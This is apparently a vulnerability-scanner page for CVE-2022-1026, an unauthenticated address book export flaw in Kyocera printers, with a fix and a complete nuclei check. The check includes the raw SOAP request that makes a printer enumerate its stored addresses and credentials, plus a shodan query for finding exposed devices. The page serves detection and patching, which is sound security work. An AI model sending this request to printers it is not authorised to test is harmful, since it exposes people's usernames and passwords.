Kyocera Net View Address Book Exposure

highseverity

8.6CVSS score

14.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Kyocera multifunction printers running vulnerable versions of Net View unintentionally expose sensitive user information, including usernames and passwords, through an insufficiently protected address book export function.

Impact

Unauthenticated attackers can export the address book from Kyocera printers containing sensitive user information including usernames and passwords without authentication.

Fix

Apply firmware updates provided by Kyocera or configure authentication for the address book export function.

How to confirm it

Send: POST /ws/km-wsdl/setting/address_book
Positive when: contains "SOAP-ENV:Envelope" and "SOAP-ENV:Body" AND contains in content_type "text/xml" AND status 200

Run it with nuclei: nuclei -id CVE-2022-1026 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-1026

info:
  name: Kyocera Net View Address Book Exposure
  author: DhiyaneshDK
  severity: high
  description: |
    Kyocera multifunction printers running vulnerable versions of Net View unintentionally expose sensitive user information, including usernames and passwords, through an insufficiently protected address book export function.
  impact: |
    Unauthenticated attackers can export the address book from Kyocera printers containing sensitive user information including usernames and passwords without authentication.
  remediation: |
    Apply firmware updates provided by Kyocera or configure authentication for the address book export function.
  reference:
    - https://github.com/ac3lives/kyocera-cve-2022-1026
    - https://www.rapid7.com/blog/post/2022/03/29/cve-2022-1026-kyocera-net-view-address-book-exposure/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2022-1026
    cwe-id: CWE-522
    epss-score: 0.14617
    epss-percentile: 0.9668
    cpe: cpe:2.3:a:kyocera:net_viewer:*:*:*:*:*:*:*:*
  metadata:
    vendor: kyocera
    product: net_viewer
    shodan-query: product:"Kyocera Printer Panel"
    max-request: 1
  tags: cve,cve2022,kyocera,exposure,vkev,intrusive,vuln

http:
  - raw:
      - |
        POST /ws/km-wsdl/setting/address_book HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/soap+xml

        <?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:xop="http://www.w3.org/2004/08/xop/include" xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/address_book"><SOAP-ENV:Header><wsa:Action SOAP-ENV:mustUnderstand="true">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration</wsa:Action></SOAP-ENV:Header><SOAP-ENV:Body><ns1:create_personal_address_enumerationRequest><ns1:number>25</ns1:number></ns1:create_personal_address_enumerationRequest></SOAP-ENV:Body></SOAP-ENV:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SOAP-ENV:Envelope"
          - "SOAP-ENV:Body"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/xml"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from